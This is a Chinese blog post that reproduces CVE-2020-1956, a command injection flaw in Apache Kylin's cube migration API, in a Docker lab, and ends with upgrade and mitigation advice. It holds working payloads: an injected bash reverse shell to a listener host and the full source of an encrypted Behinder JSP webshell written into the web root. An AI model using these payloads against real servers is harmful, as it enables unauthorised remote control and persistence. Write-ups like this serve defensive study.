Apache Kylin遠端程式碼執行漏洞復現(CVE-2020-1956)

hu1ge(micr067)發表於2020-11-08

Apache Kylin遠端程式碼執行漏洞復現(CVE-2020-1956)

簡介

Apache Kylin 是美國 Apache 軟體基金會的一款開源的分散式分析型資料倉儲。該產品主要提供 Hadoop/Spark 之上的 SQL 查詢介面及多維分析(OLAP)等功能。

Apache Kylin 中的靜態 API 存在安全漏洞。攻擊者可藉助特製輸入利用該漏洞在系統上執行任意OS命令。以下產品及版本受到影響:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。

漏洞描述

在Kylin中存在一些restful API,可以將作業系統命令與使用者輸入的字串連線起來,由於未對使用者輸入內容做
合理校驗,導致攻擊者可以在未經驗證的情況下執行任意系統命令。

影響範圍

Kylin 2.3.0-2.3.2
Kylin 2.4.0-2.4.1
Kylin 2.5.0-2.5.2
Kylin 2.6.0-2.6.5
Kylin 3.0.0-alpha
Kylin 3.0.0-alpha2
Kylin 3.0.0-beta
Kylin 3.0.0-3.0.1

環境搭建

Kylin 的環境搭建包括 Hadoop、Hbase、Spark、Kafka 等一系列的元件,安裝較為複雜。但是Kylin 官網文件 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 環境的啟動指南,分別執行以下兩個命令即可一鍵啟動。

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

systemctl start docker
docker pull vulfocus/cve-2020-1956
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
vulfocus/cve-2020-1956

訪問映象地址http://192.168.152.133:7070/kylin/login

預設登陸賬號密碼admin/KYLIN

漏洞分析

漏洞位於/src/main/java/org/apache/kylin/rest/service/CubeService.java檔案,漏洞點在 CubeService.java 中的 migrateCube() 函式,漏洞原因是使用 String.format() 格式化待執行的系統命令且未做過濾,導致命令內容可被注入,涉及的引數包括 srcCfgUridstCfgUriprojectName三個。

Migrate Cube

檢視官方文件:http://kylin.apache.org/cn/docs/howto/howto_use_restapi.html#migrate-cube

Migrate Cube是一個介面(POST /kylin/api/cubes/{cube}/{project}/migrate),介面中顯示分別需要 cube 和 project兩個路徑入參,回看 kylin /models頁面上的表格裡,已經顯示了 cube name 和對應的 Project。

我們選擇第一行記錄中的cubekylin_sales_cube 和對應的 Projectlearn_kylin 作為路徑引數,獲取登入Cookie,嘗試如下POC。

返回報錯資訊

漏洞利用

漏洞利用條件

1、登入系統

2、修改配置

進入system選項卡,在介面上的 Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置為 /home/admin/apachekylin-
3.0.1-bin-hbase1x/conf/kylin.propertie,將 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置為
/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/success; echo ;注意其中注入
了 touch /tmp/success 的系統命令。

重新repeater,返回200

進入容器內檢視,已經成功寫入。

反彈shell

將 kylin.tool.auto-migrate-cube.dest-config 配置為 /tmp/kylin.properties kylin_sales_cube learn_kylin true
true true true; bash -i >& /dev/tcp/192.168.152.1/1521 0>&1; echo ; 。其中注入的命令從 touch /tmp/success 換成了
反彈 shell 的命令 bash -i >& /dev/tcp/192.168.152.1/1521 0>&1,反彈到ip為 192.168.152.1的主機上。

開啟監聽

重新repeater,無返回資訊

但是宿主機192.168.152.1已經成功接收到反彈回來的shell

寫入冰蠍shell

在介面Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置為 /home/admin/apachekylin-
3.0.1-bin-hbase1x/conf/kylin.propertie,
將 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置為 /tmp/kylin.properties kylin_sales_cube
learn_kylin true true true true; echo '<%@page import="java.util.,javax.crypto.,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>'

/home/admin/apache-kylin-3.0.1-bin-hbase1x/tomcat/webapps/kylin/shell.jsp; echo

再次repeater,返回200

檢視容器,成功寫入shell.jsp

漏洞修復

1.官方已釋出最新版本修復了此漏洞,使用者應儘快升級到2.6.6或3.0.2版本,下載連結:
http://kylin.apache.org/cn/download/
2.臨時措施:由於該漏洞的入口為migrateCube,可將kylin.tool.auto-migrate-cube.enabled設定為false以禁用
命令執行。

參考連結
1.https://paper.seebug.org/1237/
2.https://kylin.apache.org/docs/security.html

相關文章